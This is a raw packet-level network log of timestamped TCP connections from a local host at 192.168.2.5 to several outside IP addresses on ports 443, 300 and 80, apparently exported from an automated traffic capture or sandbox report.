Oct 18, 2024 23:46:28.717097044 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.717288017 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.717308044 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.791300058 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.792047977 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.792114973 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.792159081 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.792159081 CEST	49778	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.792179108 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.792188883 CEST	443	49778	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.794847012 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.794918060 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:28.795005083 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.795197964 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:28.795241117 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.396117926 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.396260977 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.439352036 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.446424961 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.446504116 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.477379084 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.477406025 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.478812933 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.478830099 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.481201887 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.481209993 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.481821060 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.481825113 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.493300915 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.543442011 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.543479919 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.544424057 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.544442892 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.555186987 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.590558052 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.590576887 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.591464043 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.591470957 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.606071949 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.606642008 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.606688023 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.606785059 CEST	49780	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.606801033 CEST	443	49780	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.611030102 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.611464977 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.611526966 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.611558914 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.611558914 CEST	49779	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.611573935 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.611582994 CEST	443	49779	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.671840906 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.672137022 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.672199011 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.725006104 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.725167990 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:29.725253105 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:29.756671906 CEST	49711	300	192.168.2.5	103.192.208.114
Oct 18, 2024 23:46:29.761751890 CEST	300	49711	103.192.208.114	192.168.2.5
Oct 18, 2024 23:46:29.786650896 CEST	49706	300	192.168.2.5	45.124.79.198
Oct 18, 2024 23:46:29.786768913 CEST	49712	300	192.168.2.5	103.192.208.122
Oct 18, 2024 23:46:29.791487932 CEST	300	49706	45.124.79.198	192.168.2.5
Oct 18, 2024 23:46:29.791932106 CEST	300	49712	103.192.208.122	192.168.2.5
Oct 18, 2024 23:46:29.833357096 CEST	49709	300	192.168.2.5	115.236.153.243
Oct 18, 2024 23:46:29.833391905 CEST	49708	300	192.168.2.5	103.192.208.24
Oct 18, 2024 23:46:29.833395958 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:29.838412046 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:29.838453054 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:29.838462114 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:29.866579056 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:29.872205973 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:30.079447985 CEST	49705	300	192.168.2.5	45.124.79.208
Oct 18, 2024 23:46:30.084361076 CEST	300	49705	45.124.79.208	192.168.2.5
Oct 18, 2024 23:46:30.171556950 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.171556950 CEST	49781	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.171586037 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.171607018 CEST	443	49781	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.188102961 CEST	49783	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.188133955 CEST	443	49783	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.273099899 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.273145914 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.273225069 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.274101019 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.274144888 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.274363041 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.275213957 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.275280952 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.275367975 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.293814898 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.293837070 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.294245005 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.294270039 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.294373989 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.294392109 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.304615974 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.304630995 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.304724932 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.304908037 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.304925919 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.513078928 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.513545036 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.513569117 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.513988972 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.513997078 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.651156902 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.651456118 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.651525021 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.651571035 CEST	49782	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.651596069 CEST	443	49782	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.654864073 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.654930115 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.655109882 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.655457973 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:30.655488968 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:30.706244946 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:30.707438946 CEST	49796	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:30.711057901 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:30.711133957 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:30.712177038 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:30.712291956 CEST	80	49796	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:30.712363005 CEST	49796	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:30.717525959 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.035219908 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.036370993 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.036417961 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.038914919 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.041100979 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.041109085 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.041439056 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.041460037 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.041980028 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.041985035 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.050673962 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.050874949 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.051187992 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.051209927 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.051435947 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.051496029 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.051754951 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.051759958 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.051938057 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.051953077 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.164824963 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.164962053 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.165051937 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.165304899 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.165322065 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.169595003 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.169617891 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.169764042 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.170115948 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.170126915 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.171015024 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.171300888 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.171361923 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.174654961 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.174673080 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.174681902 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.174688101 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.177319050 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.177330017 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.177447081 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.177572966 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.177582979 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.180979013 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.181176901 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.181236029 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.181272984 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.181282043 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.181292057 CEST	49788	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.181298018 CEST	443	49788	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.183963060 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.184000969 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.184056044 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.184179068 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.184194088 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.186115026 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.186177969 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.186285973 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.186331987 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.186369896 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.186400890 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.186415911 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.188607931 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.188694954 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.188781023 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.188896894 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.188934088 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.380374908 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380394936 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380409956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380419970 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380429983 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380438089 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380445004 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380450964 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380450010 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.380461931 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380510092 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.380561113 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.380599976 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.385337114 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.385346889 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.385389090 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.385400057 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.385416031 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.385452032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.392177105 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.409473896 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.409519911 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.412471056 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.412487030 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.500834942 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.500848055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.500858068 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.500866890 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.500876904 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.500888109 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.500916958 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.500957966 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.501055956 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.501075029 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.501112938 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.501125097 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.501137018 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.501162052 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.501172066 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.501195908 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.501221895 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.537843943 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.538305044 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.538379908 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.543981075 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.543981075 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.544033051 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.544059038 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.590091944 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.590147018 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.590215921 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.624557018 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625226974 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625238895 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625251055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625262022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625273943 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625279903 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.625303984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625314951 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625324965 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625328064 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.625343084 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625349045 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.625356913 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625368118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625380993 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625391960 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625400066 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.625402927 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.625430107 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.636351109 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.636377096 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.673767090 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.742948055 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.742983103 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743032932 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743060112 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.743067980 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743102074 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743135929 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743144035 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.743160963 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743171930 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743182898 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743185997 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.743194103 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743202925 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743213892 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.743225098 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.743258953 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.743258953 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.744066000 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.744076014 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.744081020 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.744119883 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.861934900 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.861951113 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.861962080 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862015009 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.862095118 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862106085 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862147093 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.862186909 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862198114 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862313032 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.862380028 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862389088 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862401009 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862411022 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.862426996 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.862442970 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.863131046 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.863189936 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.863235950 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.863246918 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.863255978 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.863284111 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.894748926 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.896131992 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.896147966 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.897241116 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.897245884 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.905754089 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.905782938 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.905921936 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.920039892 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.920717001 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.920810938 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.921652079 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.921672106 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.924041986 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.924539089 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.924555063 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.925334930 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.925339937 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.927234888 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.927597046 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.927619934 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.927990913 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:31.927995920 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:31.946587086 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.981120110 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981132984 CEST	80	49795	104.192.108.20	192.168.2.5
Oct 18, 2024 23:46:31.981178999 CEST	49795	80	192.168.2.5	104.192.108.20
Oct 18, 2024 23:46:31.981210947 CEST	80	49795	104.192.108.20	192.168.2.5
